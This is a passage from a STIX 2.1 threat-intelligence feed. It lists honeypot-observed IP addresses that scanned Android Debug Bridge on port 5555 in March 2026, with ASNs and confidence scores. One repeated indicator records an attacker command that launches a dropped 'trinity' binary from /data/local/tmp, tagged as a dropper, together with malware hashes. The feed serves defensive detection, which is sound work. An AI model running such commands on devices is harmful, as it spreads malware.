          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-19T06:58:19.000Z",
          "last_seen": "2026-03-19T07:08:49.994Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-19T06:06:56.000Z | last_seen=2026-03-19T06:17:02.456Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:00:04.000Z",
      "valid_until": "2026-04-20T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-19T06:06:56.000Z",
          "last_seen": "2026-03-19T06:17:02.456Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-19T06:06:05.000Z | last_seen=2026-03-19T06:07:06.245Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--81417f5d-ba25-4991-a8a8-6f8a6059ce72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T07:00:04.000Z",
      "valid_until": "2026-04-20T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-19T06:06:05.000Z",
          "last_seen": "2026-03-19T06:07:06.245Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-19T09:09:27.000Z | last_seen=2026-03-19T09:20:49.859Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8196bd27-8ebb-426a-a044-ab1d192ea13b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:00:03.000Z",
      "valid_until": "2026-04-20T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-19T09:09:27.000Z",
          "last_seen": "2026-03-19T09:20:49.859Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-19T09:09:27.000Z | last_seen=2026-03-19T09:20:49.859Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8196bd27-8ebb-426a-a044-ab1d192ea13b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:00:03.000Z",
      "valid_until": "2026-04-20T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-19T09:09:27.000Z",
          "last_seen": "2026-03-19T09:20:49.859Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-19T10:32:50.000Z | last_seen=2026-03-19T10:34:13.379Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--164127fb-a74d-4933-a84b-6bfda8914636",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T11:00:03.000Z",
      "valid_until": "2026-04-20T11:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-19T10:32:50.000Z",
          "last_seen": "2026-03-19T10:34:13.379Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-19T10:32:50.000Z | last_seen=2026-03-19T10:34:13.379Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--164127fb-a74d-4933-a84b-6bfda8914636",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T11:00:03.000Z",
      "valid_until": "2026-04-20T11:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-19T10:32:50.000Z",
          "last_seen": "2026-03-19T10:34:13.379Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=50; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-19T11:43:28.000Z | last_seen=2026-03-19T12:00:26.241Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--4d4a8474-2235-4f98-9d05-a61cd1d05bd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.224.74.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:00:03.000Z",
      "valid_until": "2026-04-20T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-19T11:43:28.000Z",
          "last_seen": "2026-03-19T12:00:26.241Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-19T11:08:32.000Z | last_seen=2026-03-19T16:23:08.879Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--0722f554-f61d-47d2-adde-b7c444c3c2f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:00:03.000Z",
      "valid_until": "2026-04-20T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-19T11:08:32.000Z",
          "last_seen": "2026-03-19T16:23:08.879Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=DE; asn=215607; asn_org=dataforest GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-19T11:38:10.000Z | last_seen=2026-03-19T11:48:59.430Z | ports=5555 | cc=DE | asn=215607 | org=dataforest GmbH",
      "id": "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:00:03.000Z",
      "valid_until": "2026-04-20T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-19T11:38:10.000Z",
          "last_seen": "2026-03-19T11:48:59.430Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "215607"
          ],
          "org": [
            "dataforest GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T12:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=50; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-19T11:43:28.000Z | last_seen=2026-03-19T12:00:26.241Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--4d4a8474-2235-4f98-9d05-a61cd1d05bd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '112.224.74.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:00:04.000Z",
      "valid_until": "2026-04-20T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-19T11:43:28.000Z",
          "last_seen": "2026-03-19T12:00:26.241Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T12:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-19T11:08:32.000Z | last_seen=2026-03-19T16:23:08.879Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--0722f554-f61d-47d2-adde-b7c444c3c2f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:00:04.000Z",
      "valid_until": "2026-04-20T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-19T11:08:32.000Z",
          "last_seen": "2026-03-19T16:23:08.879Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T12:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=DE; asn=215607; asn_org=dataforest GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-19T11:38:10.000Z | last_seen=2026-03-19T11:48:59.430Z | ports=5555 | cc=DE | asn=215607 | org=dataforest GmbH",
      "id": "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:00:04.000Z",
      "valid_until": "2026-04-20T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-19T11:38:10.000Z",
          "last_seen": "2026-03-19T11:48:59.430Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "215607"
          ],
          "org": [
            "dataforest GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-19T13:27:10.000Z | last_seen=2026-03-19T13:28:19.652Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--92d4ded3-900b-4805-ae28-28ac3e5d3475",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:00:02.000Z",
      "valid_until": "2026-04-20T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-19T13:27:10.000Z",
          "last_seen": "2026-03-19T13:28:19.652Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-19T13:06:06.000Z | last_seen=2026-03-19T13:16:16.117Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--e0bf3ba7-2e22-4115-9d66-dc02de9ca192",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:00:02.000Z",
      "valid_until": "2026-04-20T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-19T13:06:06.000Z",
          "last_seen": "2026-03-19T13:16:16.117Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-19T13:27:10.000Z | last_seen=2026-03-19T13:28:19.652Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--92d4ded3-900b-4805-ae28-28ac3e5d3475",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T14:00:03.000Z",
      "valid_until": "2026-04-20T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-19T13:27:10.000Z",
          "last_seen": "2026-03-19T13:28:19.652Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-19T14:00:03.000Z",
